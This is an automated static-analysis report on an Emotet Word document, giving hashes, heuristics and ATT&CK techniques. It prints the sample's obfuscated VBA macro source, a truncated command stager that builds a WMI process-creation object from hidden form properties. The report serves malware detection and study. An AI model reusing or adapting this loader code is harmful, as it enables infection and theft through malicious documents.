Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 176a463c28531dfe…

MALICIOUS

Office (OLE)

192.0 KB Created: 2020-02-07 09:53:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: d9eb365f5b664a9b33c5344a2b90af62 SHA-1: 436e9caf6a494bca29410ae238f00929fc9644fc SHA-256: 176a463c28531dfe522f9c54136f68b1046e7416ce1ac241833d77788e8d6d3e
260 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that automatically executes upon opening the document, indicated by the 'Document_Open' and 'auto-exec' heuristics. This macro utilizes `CreateObject` and string manipulation functions to construct and execute a command, likely to download and run a secondary payload. The ClamAV detection explicitly names this as Emotet, a known banking trojan and downloader.

Heuristics 6

  • ClamAV: Doc.Malware.Emotet-7580153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-7580153-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10945 bytes
SHA-256: 428b375c33cb8083281a486fa1797fdecd69b3d23ba4bee84f000a5dd25f150b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ornzchmbtn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
 Call MsgBox("There Be Dragons here. Once you take away the commented code, ensure you are in a safe environment", vbCritical)
 
  VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2
 
'Xihsxuqrahxn.Ejzvhndou
End Sub

Attribute VB_Name = "Fwrwxpiu"
Attribute VB_Base = "0{56D431FD-B38D-44A0-A64F-9BF469E2F024}{DD30619A-2FA9-4413-8938-5E2D7464FB18}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Xihsxuqrahxn"
Function Ejzvhndou()
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2
 
Hiluhkzagmc = "3}{33}{3w3}{3i3}{33}{3n3}{3m3}{3g3}{33}{3mt3}{33}{3" + ChrW(Fwrwxpiu.Zoom + 9 + 6) + ":3}{3wi3}{33}{3n33}{33}{33}{323}{33}{3_3}{33}{3" + Fwrwxpiu.Dxgzdaaygsquw + "r3}{33}{3o3}{3ce3}{3s3}{33}{3s3}{3"
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2
 
Xqgbatrpey = Vrwdiqpm(Hiluhkzagmc)
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2

Set Pubbbtzlfecfj = CreateObject(Xqgbatrpey)
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2

Nbcueoed = Fwrwxpiu.Jxgjukuvig.Tag
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2

Bazplgekw = Xqgbatrpey + ChrW(Fwrwxpiu.Zoom + 9 + 6) + Fwrwxpiu.Qdvnyzoqlhmhg.Tag + Nbcueoed
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, ""
... (truncated)

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